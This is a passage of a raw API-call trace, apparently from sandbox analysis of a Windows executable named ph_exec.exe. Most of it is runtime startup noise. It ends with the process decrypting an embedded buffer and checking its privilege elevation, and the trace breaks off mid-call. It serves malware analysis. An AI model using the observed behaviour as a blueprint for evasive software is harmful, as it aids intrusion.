0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd9\x99\x1e\x27\xb8\xf7\x53", lpUsedDefaultChar=0x0) returned 256 [0031.907] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0031.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53f680, cbMultiByte=256, lpWideCharStr=0x53efd8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ") returned 256 [0031.908] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0031.908] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ髋ÍĀ", cchSrc=256, lpDestStr=0x53edc8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0031.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x53f480, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd9\x99\x1e\x27\xb8\xf7\x53", lpUsedDefaultChar=0x0) returned 256 [0031.908] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xcdf728, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.908] SetLastError (dwErrCode=0x0) [0031.908] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.909] GetLastError () returned 0x0 [0031.909] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.910] GetLastError () returned 0x0 [0031.910] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x2c) returned 0xca1768 [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.911] SetLastError (dwErrCode=0x0) [0031.911] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.912] SetLastError (dwErrCode=0x0) [0031.912] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] GetLastError () returned 0x0 [0031.913] SetLastError (dwErrCode=0x0) [0031.913] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x94) returned 0xca17a0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1f) returned 0xca1840 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x28) returned 0xca1868 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x37) returned 0xca1898 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x3c) returned 0xca18d8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x31) returned 0xca1920 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x14) returned 0xca1960 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x24) returned 0xca1980 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0xd) returned 0xca19b0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x17) returned 0xca19c8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x2b) returned 0xca19e8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x15) returned 0xca1a20 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x17) returned 0xca1a40 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x22) returned 0xca1a60 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0xe) returned 0xca1a90 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0xc1) returned 0xca1aa8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x3e) returned 0xca1b78 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1b) returned 0xca1bc0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1d) returned 0xca1be8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x48) returned 0xca1c10 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x12) returned 0xca1c60 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x18) returned 0xca1c80 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1b) returned 0xca1ca0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x24) returned 0xca1cc8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x29) returned 0xca1cf8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca1d30 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x69) returned 0xca1d58 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x17) returned 0xca1dd0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0xf) returned 0xca1df0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x16) returned 0xca1e08 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x28) returned 0xca1e28 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x27) returned 0xca1e58 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x12) returned 0xca1e88 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x21) returned 0xca1ea8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x10) returned 0xca1ed8 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1c) returned 0xca1ef0 [0031.914] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x12) returned 0xca1f18 [0031.914] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0fd0 | out: hHeap=0xca0000) returned 1 [0031.915] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0031.915] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x80) returned 0xca1f38 [0031.915] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xcd8156) returned 0x0 [0031.915] RtlSizeHeap (HeapHandle=0xca0000, Flags=0x0, MemoryPointer=0xca1f38) returned 0x80 [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.915] SetLastError (dwErrCode=0x0) [0031.915] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.916] SetLastError (dwErrCode=0x0) [0031.916] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.917] SetLastError (dwErrCode=0x0) [0031.917] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] GetLastError () returned 0x0 [0031.918] SetLastError (dwErrCode=0x0) [0031.918] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x30) returned 0xca0fd0 [0031.918] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x32d0) returned 0xca1fc0 [0031.918] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x168) returned 0xca1008 [0031.918] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca1178 [0031.918] CryptAcquireContextW (in: phProv=0xcdfcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xcdfcf0*=0x574d50) returned 1 [0031.928] CryptImportKey (in: hProv=0x574d50, pbData=0x53f6d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f740 | out: phKey=0x53f740*=0x5826f0) returned 1 [0031.928] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f728, dwFlags=0x0) returned 1 [0031.928] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1178, pdwDataLen=0x53f6f4 | out: pbData=0xca1178, pdwDataLen=0x53f6f4) returned 1 [0031.928] CryptDestroyKey (hKey=0x5826f0) returned 1 [0031.928] GetTickCount () returned 0x1e21d [0031.928] GetLastError () returned 0x0 [0031.928] SetLastError (dwErrCode=0x0) [0031.928] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1c) returned 0xca1190 [0031.928] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1c) returned 0xca11b8 [0031.928] GetVersion () returned 0x23f00206 [0031.928] GetCurrentProcess () returned 0xffffffff [0031.928] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53f74c | out: TokenHandle=0x53f74c*=0x1d0) returned 1 [0031.929] GetTokenInformation (in: TokenHandle=0x1d0, TokenInformationClass=0x14, TokenInformation=0x53f744, TokenInformationLength=0x4, ReturnLength=0x53f748 | out: TokenInformation=0x53f744, ReturnLength=0x53f748) returned 1 [0031.929] CloseHandle (hObject=0x1d0) returned 1 [0031.929] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca11e0 [0031.929] CryptImportKey (in: hProv=0x574d50, pbData=0x53f640, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6a8 | out: phKey=0x53f6a8*=0x582c70) returned 1 [0031.929] CryptSetKeyParam (hKey=0x582c70, 